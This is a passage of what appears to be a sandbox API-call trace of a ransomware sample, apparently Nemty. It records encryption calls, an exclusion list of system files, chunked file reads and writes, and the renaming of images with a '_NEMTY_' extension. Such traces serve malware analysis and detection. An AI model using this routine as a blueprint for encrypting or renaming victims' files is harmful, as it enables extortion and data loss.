dwHighDateTime=0x1d561e8)) [0136.155] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x4cd25b0, dwHighDateTime=0x1d561e8)) [0136.155] GetLastError () returned 0x5 [0136.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0136.155] GetLastError () returned 0x5 [0136.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0136.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0136.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0136.155] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0136.155] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0136.155] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0136.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0136.155] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="9lWsZo7k5zfAMeEzTnIh+I3xYQUgFCqcpue0IhrmVOCigvoNHUm3orDatZdTScXG\r\nThffg163xMvLhHQXUJFjAg4uZgil3a4JhbDG8V5xBH3vWGK3MHMyXpe7pPvWdKwe\r\nEoa0s/o297Hr3FNCgoN9aWmuNhubRuTs6I3OKPRwQbmz5ixS26V6hYRo3Bnlf7X1\r\n6+VBk5CLLiacWzT+CnAnWJJqg9S78uISjO/I7HFP226EsxqW3vK4QUEUuOK3KJkX\r\nOVww2AOpJZ5nomueM8wXhkKX0ew7mbn8xsUSRoCEpZObIBn7IgcNEyFzSfxE5k2O\r\nI/kXCyfHcL2VoiMHfA3CVQ==\r\n", pcchString=0x653e91c) returned 1 [0136.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0136.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0136.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0136.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0136.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0136.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0136.155] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\6.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\6.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0136.156] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0136.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0136.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.156] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.165] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.165] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.165] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.165] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.175] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.175] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.184] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.184] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.184] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.184] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.193] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.194] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.194] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.262] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.262] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.263] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.263] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.273] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.273] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.273] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.273] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.282] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.282] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.282] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.282] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.292] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.292] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.292] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.292] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.349] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.349] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.359] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.359] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.359] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.359] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.365] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.365] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.365] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.365] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.371] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.371] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0136.371] CloseHandle (hObject=0xffffffff) returned 0 [0136.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0136.371] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0136.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0136.372] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0136.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0136.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0136.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0136.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0136.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0136.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0136.372] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\6.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\6.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\6.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\6.png._nemty_kgobjgd_")) returned 0 [0136.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0136.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0136.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0136.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0136.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0136.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0136.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0136.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0136.372] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a27eb8, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a27eb8, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x39da8d77, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x493b, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="7.png", cAlternateFileName="")) returned 1 [0136.372] lstrcmpiW (lpString1="7.png", lpString2=".") returned 1 [0136.372] lstrcmpiW (lpString1="7.png", lpString2="..") returned 1 [0136.372] lstrcmpiW (lpString1="7.png", lpString2="...") returned 1 [0136.372] lstrcmpiW (lpString1="7.png", lpString2="windows") returned -1 [0136.372] lstrcmpiW (lpString1="7.png", lpString2="$RECYCLE.BIN") returned 1 [0136.372] lstrcmpiW (lpString1="7.png", lpString2="rsa") returned -1 [0136.372] lstrcmpiW (lpString1="7.png", lpString2="NTDETECT.COM") returned -1 [0136.372] lstrcmpiW (lpString1="7.png", lpString2="ntldr") returned -1 [0136.372] lstrcmpiW (lpString1="7.png", lpString2="MSDOS.SYS") returned -1 [0136.372] lstrcmpiW (lpString1="7.png", lpString2="IO.SYS") returned -1 [0136.373] lstrcmpiW (lpString1="7.png", lpString2="boot.ini") returned -1 [0136.373] lstrcmpiW (lpString1="7.png", lpString2="boot.ini") returned -1 [0136.373] lstrcmpiW (lpString1="7.png", lpString2="AUTOEXEC.BAT") returned -1 [0136.373] lstrcmpiW (lpString1="7.png", lpString2="ntuser.dat") returned -1 [0136.373] lstrcmpiW (lpString1="7.png", lpString2="desktop.ini") returned -1 [0136.373] lstrcmpiW (lpString1="7.png", lpString2="CONFIG.SYS") returned -1 [0136.373] lstrcmpiW (lpString1="7.png", lpString2="RECYCLER") returned -1 [0136.373] lstrcmpiW (lpString1="7.png", lpString2="BOOTSECT.BAK") returned -1 [0136.373] lstrcmpiW (lpString1="7.png", lpString2="bootmgr") returned -1 [0136.373] lstrcmpiW (lpString1="7.png", lpString2="programdata") returned -1 [0136.373] lstrcmpiW (lpString1="7.png", lpString2="appdata") returned -1 [0136.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7.png", lpUsedDefaultChar=0x0) returned 5 [0136.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7.png", lpUsedDefaultChar=0x0) returned 5 [0136.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7.png", cchWideChar=5, lpMultiByteStr=0x653ec20, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7.png", lpUsedDefaultChar=0x0) returned 5 [0136.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7.png", cchWideChar=5, lpMultiByteStr=0x653ec58, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7.png", lpUsedDefaultChar=0x0) returned 5 [0136.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0136.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0136.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0136.373] Sleep (dwMilliseconds=0x5) [0136.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x4f59d10, dwHighDateTime=0x1d561e8)) [0136.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x4f59d10, dwHighDateTime=0x1d561e8)) [0136.425] GetLastError () returned 0x5 [0136.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0136.467] GetLastError () returned 0x5 [0136.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0136.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0136.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0136.467] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0136.467] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0136.467] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0136.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0136.467] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="xwdjIwltW5/9FvIKQ8BFUjNUU742qO5BhfkzwZd5OH6r2R5rqFWCuUUqZU0ONut7\r\nnmj2wSluQ0QWk8T7LgNGKN35br7Y3J881Dosx2wmzJms8iiq6H24NkUgYz/NVpdy\r\n6dYLePwjnmcyxgGT6PWJoAW53iPPieAq2pYywszI8W/pF0y8Qc+GscWMOs9pTEP0\r\nS41IprWqMsPtKTN74QncDCKqaFwweK6V77K5nbS6y7tEPgvx281005tZtqU8V2F+\r\n8Jf3+3bxxaUH1/Q0dopIYi8ocWfXMwUsECBElKrkd61G+c1tVhW8IdS9g9x4YHhu\r\n58A3nwfp1MVRKGs5jKvWrw==\r\n", pcchString=0x653e91c) returned 1 [0136.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0136.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0136.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0136.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0136.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0136.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0136.467] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\7.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\7.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0136.513] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0136.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0136.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.514] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.523] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.523] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.523] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.523] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) 